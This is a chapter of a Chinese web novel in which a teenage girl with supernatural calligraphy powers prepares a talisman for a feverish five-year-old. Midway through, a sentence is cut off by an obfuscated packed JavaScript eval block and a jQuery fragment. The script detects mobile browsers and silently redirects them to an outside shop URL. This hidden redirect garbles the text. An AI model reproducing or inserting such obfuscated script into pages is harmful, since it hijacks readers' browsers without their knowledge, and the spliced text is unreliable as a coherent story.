一
十月的一个星期六下午,刘婶来了。
张清正在屋里练字,听见母亲在客厅里跟人说话,声音压得低低的,带着一种商量事情的语气。她没在意,继续写她的八笔"静"字。过了几分钟,母亲敲了她的房门。
"清儿,刘婶找你。"
张清放下笔,走出去。刘婶坐在客厅的方凳上,手里绞着一条手绢,眼眶发红。她看见张清出来,腾地站起来,嘴唇动了动,没发出声。
"刘婶,坐。"张清拉了把椅子。
刘婶坐下,还没开口就先抹了一把眼泪。母亲在旁边递了杯水,她没接。
"清儿,我跟你说个事。"刘婶的声音哑得厉害,"厂区东边老赵家的孩子,五岁的小闺女,发烧烧了七八天了。去县医院看了两回,打针吃药都不管用。医生说查不出什么原因,让转到省城去。可老赵家哪有那个钱……"
她说着说着又哭了。张清等着她说完。
"我就想着……上次你帮我看了老宅那个事,后来确实好了。我就跟老赵媳妇说了,她说想让你去给看看。"
张清没吭声。
刘婶盯着她的脸,声音更低了:"我知道你年纪小,不该拿这些事烦你。可那孩子烧得直说胡话,她妈天天哭。清儿,你就去看看,行不行?"
二
刘婶走后,张清回到房间,关上门,在桌前坐了很久。
她不想去。
那天画符失控的画面又浮上来了。那天她画三十二笔的符图,第九笔的时候,脑袋里有什么东西炸开了,眼前发白,鼻血顺着人中淌下来,滴在符纸上,墨迹和血混在一起,烧出一个拇指大的黑洞。那种失控的恐惧,身体不听使唤、意识在剥离、连呼吸都觉得费力——她不想再经历了。
而且那只是她自己的事。这一次如果出了问题,不是她自己受罪,是一个五岁的小女孩。
万一帮不上忙呢?给人希望又让人失望,比不帮更残忍。
万一帮的时候出了岔子,那样的反噬再来一次呢?她倒在地上不省人事,孩子的高烧还没退,耽搁了正经治疗,谁来负责?
可不去的话……一个五岁的孩子,烧了七八天,查不出原因。母亲的哭声她没听见,但刘婶转述的时候眼眶都红了。她想起刘婶上次找她看老宅时说过的话:"孩子吓得好几夜不敢睡觉。"那是老宅阴气的事,她写了"通"字解决了。这一次呢?
她能做什么?
张清把胳膊撑在桌上,双手捂着脸。指缝里漏进台灯的光,暖黄色的,照得眼皮发烫。
她不是医生。她没有行医资格,没有医学知识,连感冒和流感的区别都说不清楚。她能做的只有写毛笔字。写有"笔意"的毛笔字。可笔意这东西,她自己都说不清到底是什么。一种从意念里生出来的力量?一种写在纸上的"意"?她连"万法归宗"是什么都不知道,连六笔的"静"字都画不出来,拿什么去帮人?
但她确实帮过。刘婶的老宅,写了一个"通"字,阴气散了。蝉会停,蚊子会避开写了"静"字的纸。这些不是她的想象,是实实在在发生的事。
那孩子的病,会不会也和"气"有关?如果是,她或许能做点什么。如果不是,她去了也没用。
三
张清在屋里坐了一整个下午。
台灯开着,图录摊在桌上,她一页也没翻。就那么坐着,两只手交握在一起,拇指无意识地搓着虎口的茧。窗外的天色一点一点暗下去,从亮白变成灰蓝,再变成深蓝。远处厂区的烟囱开始冒夜班的烟,灰色的烟柱在无风的傍晚笔直地升上去,升到高处才散开。
晚饭没吃。母亲来敲了两次门,她说不饿。母亲把一碗面条放在门口,后来凉了也没端走。面条是挂面,卧了两个荷包蛋,母亲平时舍不得放两个的。
她翻来覆去地想,想不出一个干脆的答案。脑子里一会儿是那天的黑洞和鼻血,一会儿是刘婶红着的眼眶,一会儿是图录上"安字最为平和"那行批注。这些画面搅在一起,理不出头绪。
帮,风险太大。不帮,良心过不去。
这两种念头在她脑子里来回拉扯,谁也压不过谁。她拿起周伯年的图录,随手翻开,翻到"安"字符那一页。
"凝墨篇·安字符:安定心神,驱散浊气。适用于惊扰、不安、邪秽轻症。"
图录上的字迹清清楚楚。周伯年在旁边加的批注也写着:"安字最为平和,不伤正气,不耗精神。初学者可放心使用。"
张清盯着"不耗精神"四个字看了很久。
那次失败是因为精神力不够,三十二笔的符图每一笔都要灌注大量笔意,撑不住才崩的。但"安"字只有十四笔,是她最熟练的符,画过几百遍,闭着眼都能写。如果用普通墨汁而不是朱砂,就更安全了。朱砂虽然能放大笔意的强度,但也会增加精神消耗。
她翻回前面,看"安"字符的适用范围。"驱散浊气",如果那孩子的病确实和"浊气"有关,"安"字应该有用。如果和"浊气"无关,"安"字也不伤人,最坏的结果就是没用。
没用,比有害好。
张清合上图录,闭上眼睛。黑暗中,她听见窗外远处有人在咳嗽,断断续续的,咳了好一阵才停。厂区的宿舍楼到了晚上总是有各种声音:电视声、吵架声、孩子的哭声、水管的咕噜声,混在一起,分不清哪个是哪个。
她做了一个决定。
明天去看看。不承诺什么,不保证什么。先看了再说。
四
第二天上午,张清跟着刘婶去了老赵家。
老赵家住厂区东头,一排平房的最里间。门是木门,漆掉了大半,露出底下灰白的木头本色。门框上贴着一张褪了色的春联,"福"字倒着贴,边角卷起来了。刘婶推开门,一股药味扑面而来,苦涩的、闷热的,裹着一层厚重的潮湿。平房的墙是红砖砌的,年头久了,砖缝里的石灰粉化了一层,用手一摸就簌簌地掉。
屋里不大,一张床占了大半空间。床上躺着一个小女孩,五岁左右,脸烧得通红,嘴唇干裂,眼睛半睁半闭,迷迷糊糊地哼着。床头柜上摆了一排药瓶,退烧的、消炎的、止咳的,杂七杂八。一把蒲扇搁在床边,扇面上有干涸的水渍,孩子他妈夜里不停地给她擦身降温。
孩子母亲坐在床边的小板凳上,三十来岁,头发乱糟糟的,眼睛肿得桃核一样。看见刘婶带人进来,她站起来,张了张嘴,声音没出来。
"这是小张,我跟你说的。"刘婶低声介绍。
孩子母亲看了一眼张清,目光里闪过一丝犹疑,毕竟只是个十五六岁的少女。但她什么都没说,让开了位置。
张清走到床边,站了一会儿。她先看孩子的状态:呼吸急促,额头滚烫,手脚不自觉地抽动。然后她闭上眼睛,照图录里学到的方法,把注意力从眼睛转到"感受"上。
一开始什么都感觉不到。屋里太闷了,药味、汗味
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17809242|210771||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
、潮湿的霉味混在一起,像一锅煮过了头的汤,什么都被盖住了。她沉下心,把那些味道一层一层地拨开——
然后她感觉到了。
一股黏稠的、发闷的东西,盘踞在孩子周围。不是阴气,刘婶老宅那次是阴气,湿冷的、往下沉的。这一次不同,这股气是浊的、滞的,堵在孩子胸口的位置,不散也不走。
张清睁开眼。孩子母亲正盯着她看,眼里全是焦虑。
她什么也没说。心里已经有了判断,确实有一股"浊气",不是普通的感冒发烧。但她不确定自己能不能处理,也不确定处理了会不会有用。
"阿姨,"张清开口,声音尽量平稳,"我先回去一趟。下午。下午我再来。"
孩子母亲的脸上闪过一丝失望,但很快被疲惫盖住了。她点了点头,坐回小板凳上,拿起蒲扇,继续给孩子扇风。
五
从老赵家出来,张清走了很长一段路才到家。
十月的阳光照在厂区的水泥路上,暖洋洋的,但她觉得冷。手心出了汗,攥在裤兜里,黏腻腻的。路上碰见几个认识的人跟她打招呼,她点了点头,一个字没说。脚步越走越慢,快到家门口的时候几乎是在挪。
她在家门口站了几分钟,没进去。转身走到楼道拐角,靠着墙蹲下来,把脸埋在膝盖里。
她怕。
不是怕那股浊气,那东西她能感觉到,也能分辨。她怕的是自己。那次失败的阴影太深了,身体失控的感觉她至今记得清清楚楚。万一"安"字也出了问题呢?万一她写的时候精神力不够,符图崩了呢?在她自己房间里崩了顶多自己受罪,在别人家里崩了,那个五岁的孩子会怎么样?
可不去的话,那孩子怎么办?烧了七八天了,县医院查不出原因。转省城?老赵家掏不起那个钱。拖下去,五岁的孩子,高烧不退。
张清蹲在楼道里,头顶是别人家晾的衣服,滴着水,一滴一滴落在水泥地上。她听见楼上有人在收衣服,拖鞋啪嗒啪嗒地响。远处有小孩在喊"妈,我饿了"。
日子还在过。别人家的日子还在过。老赵家的日子停住了。
她站起来,上楼,回房间,在桌前坐下。打开台灯,翻开图录,翻到"凝墨篇"那一页。
十四笔的"安"字符,她画过几百遍。周伯年的批注写着"最为平和,不伤正气,不耗精神"。普通墨汁,不用朱砂,降低强度也降低风险。写在宣纸上,贴在床头,不需要她守着。
最保守的方式。最有把握的方式。
她把那一页的内容从头到尾又看了三遍。每一笔的顺序、每一笔的意念灌注点、收笔时的心法,全部确认无误。然后合上图录,靠在椅背上,闭眼养了一会儿神。
窗外的阳光从下午的斜角照进来,在地板上画了一道亮条。灰尘在光柱里浮浮沉沉。
张清睁开眼,拿起笔记本,写下:
"十月二十五日。明日去老赵家。打算写'安'字。普通墨汁,十四笔,最保守。"
停了一下,又添了一行:
"怕。但那个孩子烧了八天了。"
她把笔记本合上,放回抽屉。然后起身去洗毛笔,明天要用,得先把笔洗干净,泡开,晾着。
水龙头的水冰凉,冲在笔毫上,黑色的墨水顺着指缝流下去,在白色的瓷盆里化开,一圈一圈地淡了。她把笔毫理顺,搭在笔架上晾着,然后回到桌前,把明天要用的宣纸裁好,压在镇纸下面。